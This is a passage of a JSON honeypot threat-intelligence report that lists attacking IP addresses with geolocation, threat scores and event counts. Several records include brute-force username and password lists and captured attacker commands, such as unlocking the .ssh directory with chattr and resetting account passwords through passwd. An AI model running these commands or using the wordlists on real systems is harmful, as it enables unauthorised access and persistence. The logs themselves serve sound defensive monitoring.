      ],
      "passwords_attempted": [
        "123456",
        "123mudar",
        "123qweasdzxc",
        "345gs5662d34",
        "PASSWORD",
        "Sammy0",
        "asd123qwe",
        "bot!123",
        "peuser",
        "test"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"peuser\\nTAmazNl2Zwnp\\nTAmazNl2Zwnp\\n\"|passwd",
        "echo -e \"peuser\\nTAmazNl2Zwnp\\nTAmazNl2Zwnp\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:15:31.277000+00:00",
        "last_seen_30d": "2026-04-26T14:19:50.595000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 27
      }
    },
    "171.97.32.185": {
      "attack_count": 109,
      "first_seen": "2026-04-25T13:24:57.462Z",
      "last_seen": "2026-04-25T13:47:36.258Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bot",
        "claude",
        "dev",
        "info",
        "ruan",
        "ubuntu",
        "webmaster"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "AA123456AA",
        "Bot12345",
        "Claude123456",
        "QQcc112233",
        "aa12345678",
        "dev31",
        "nPSpP4PBW0",
        "ruan",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Claude123456\\nHXBzj7FTDPPW\\nHXBzj7FTDPPW\\n\"|passwd",
        "echo -e \"Claude123456\\nHXBzj7FTDPPW\\nHXBzj7FTDPPW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:24:57.462000+00:00",
        "last_seen_30d": "2026-04-25T13:48:43.431000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 23
      }
    },
    "42.57.183.12": {
      "attack_count": 96,
      "first_seen": "2026-04-26T15:27:54.647Z",
      "last_seen": "2026-04-26T15:33:28.646Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T15:27:54.647000+00:00",
        "last_seen_30d": "2026-04-26T15:34:36.584000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 49
      }
    },
    "154.124.47.38": {
      "attack_count": 90,
      "first_seen": "2026-04-08T03:18:32.021Z",
      "last_seen": "2026-04-08T03:51:44.658Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "socks",
        "test",
        "345gs5662d34",
        "game",
        "user"
      ],
      "passwords_attempted": [
        "123@ZXCV",
        "QWE!@#qwe123",
        "1024",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456*",
        "Root54321.",
        "ZAQ!2wsx2018!!",
        "game123",
        "password222",
        "test2test"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T03:18:32.021000+00:00",
        "last_seen_30d": "2026-04-08T03:52:49.182000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 51
      }
    },
    "34.52.192.79": {
      "attack_count": 71,
      "first_seen": "2026-04-18T17:06:31.820Z",
      "last_seen": "2026-04-18T17:07:20.479Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5827",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T17:06:31.820000+00:00",
        "last_seen_30d": "2026-04-18T17:08:30.594000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "196.92.7.247": {
      "attack_count": 60,
      "first_seen": "2026-04-17T21:17:42.314Z",
      "last_seen": "2026-04-26T14:00:37.431Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "git",
        "justine",
        "postgres",
        "sammy",
        "stack",
        "ubuntu",
        "user7"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Administrator1",
        "Huawei12#$",
        "P@$",
        "bbb",
        "claude10",
        "git@0123",
        "justine",
        "matt",
        "sammy15!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:17:42.314000+00:00",
        "last_seen_30d": "2026-04-26T14:01:45.682000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 30
      }
    },
    "103.179.172.172": {
      "attack_count": 58,
      "first_seen": "2026-04-03T00:40:03.375Z",
      "last_seen": "2026-04-03T00:41:02.228Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T00:40:03.375000+00:00",
        "last_seen_30d": "2026-04-03T00:41:02.456000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 17
      }
    },
    "104.36.21.137": {
      "attack_count": 56,
      "first_seen": "2026-04-29T21:39:39.778Z",
      "last_seen": "2026-04-29T21:41:12.108Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "ubuntu"
      ],
      "passwords_attempted": [
        "",
        "P@ssw0rd",
        "Qaszde123@",
        "admin",
        "qwerty123",
        "root",
        "ubuntu",
        "user"
      ],
      "commands_executed": [
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 53767,
      "as_org": "iCastCenter",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:04:03.940000+00:00",
        "last_seen_30d": "2026-04-29T21:51:16.201000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 35
      }
    },
    "123.10.56.54": {
      "attack_count": 50,
      "first_seen": "2026-04-01T11:32:01.516Z",
      "last_seen": "2026-04-01T11:37:25.928Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:32:01.516000+00:00",
        "last_seen_30d": "2026-04-01T11:38:27.872000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.174.33": {
      "attack_count": 50,
      "first_seen": "2026-04-03T01:58:54.403Z",
      "last_seen": "2026-04-03T02:04:18.828Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T01:58:54.403000+00:00",
        "last_seen_30d": "2026-04-03T02:05:21.131000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.147.105": {
      "attack_count": 50,
      "first_seen": "2026-04-08T00:11:47.712Z",
      "last_seen": "2026-04-08T00:17:12.164Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T00:11:47.712000+00:00",
        "last_seen_30d": "2026-04-08T00:18:14.155000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "112.248.80.157": {
      "attack_count": 44,
      "first_seen": "2026-04-08T23:32:31.439Z",
      "last_seen": "2026-04-08T23:37:16.856Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T23:32:31.439000+00:00",
        "last_seen_30d": "2026-04-08T23:38:25.311000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "163.44.120.79": {
      "attack_count": 38,
      "first_seen": "2026-04-10T15:31:25.280Z",
      "last_seen": "2026-04-11T17:49:17.048Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".123Kelltech",
        "2024#kelltech",
        "2025!Kelltech",
        "2025.Kelltech",
        "Kelltech$2024",
        "Kelltech1",
        "kelltech!123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:31:25.280000+00:00",
        "last_seen_30d": "2026-04-11T17:50:21.708000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "92.118.39.197": {
      "attack_count": 36,
      "first_seen": "2026-04-15T22:02:32.611Z",
      "last_seen": "2026-04-30T13:03:58.489Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T22:02:32.611000+00:00",
        "last_seen_30d": "2026-04-30T13:05:02.115000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "14.225.255.159": {
      "attack_count": 35,
      "first_seen": "2026-04-10T15:52:48.562Z",
      "last_seen": "2026-04-12T18:40:10.060Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#2024Kelltech",
        "1!kelltech",
        "1.Kelltech",
        "1234.Kelltech",
        "1234@kelltech",
        "Kelltech!2024",
        "Kelltech#2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:52:48.562000+00:00",
        "last_seen_30d": "2026-04-12T18:41:19.311000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "221.15.92.228": {
      "attack_count": 30,
      "first_seen": "2026-04-16T18:59:16.651Z",
      "last_seen": "2026-04-16T19:02:31.194Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T18:59:16.651000+00:00",
        "last_seen_30d": "2026-04-16T19:03:35.555000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "206.135.161.7": {
      "attack_count": 28,
      "first_seen": "2026-04-07T10:05:51.444Z",
      "last_seen": "2026-04-07T10:08:52.699Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:05:51.444000+00:00",
        "last_seen_30d": "2026-04-07T10:10:02.787000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "188.32.210.218": {
      "attack_count": 27,
      "first_seen": "2026-04-11T04:48:51.134Z",
      "last_seen": "2026-04-11T05:37:10.622Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "apache",
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T04:48:51.134000+00:00",
        "last_seen_30d": "2026-04-11T05:38:15.939000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 18
      }
    },
    "154.12.90.12": {
      "attack_count": 25,
      "first_seen": "2026-04-02T23:36:15.497Z",
      "last_seen": "2026-04-02T23:40:12.120Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Mong Kok",
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T23:36:15.497000+00:00",
        "last_seen_30d": "2026-04-02T23:41:18.095000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "138.68.106.123": {
      "attack_count": 22,
      "first_seen": "2026-04-29T12:36:20.806Z",
      "last_seen": "2026-04-29T12:36:38.285Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T12:36:20.806000+00:00",
        "last_seen_30d": "2026-04-29T12:37:43.177000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "167.71.33.239": {
      "attack_count": 18,
      "first_seen": "2026-04-16T14:59:18.076Z",
      "last_seen": "2026-04-16T14:59:53.362Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 6.7,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 8,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T22:26:42.319000+00:00",
        "last_seen_30d": "2026-04-16T15:00:58.848000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 18,
        "Honeytrap": 6
      }
    },
    "176.65.149.227": {
      "attack_count": 18,
      "first_seen": "2026-04-09T08:43:54.148Z",
      "last_seen": "2026-04-20T13:08:54.551Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 67.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.8,
        "persistence": 17.5,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 21,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-05T08:37:55.268000+00:00",
        "last_seen_30d": "2026-04-25T20:36:25.082000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Cowrie": 18,
        "Tanner": 6,
        "Adbhoney": 5,
        "Honeytrap": 5,
        "Dionaea": 2
      }
    },
    "192.253.248.46": {
      "attack_count": 18,
      "first_seen": "2026-04-10T13:33:24.195Z",
      "last_seen": "2026-04-15T16:30:02.425Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "P@ssw0rd@2026",
        "Password@123",
        "testtest123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
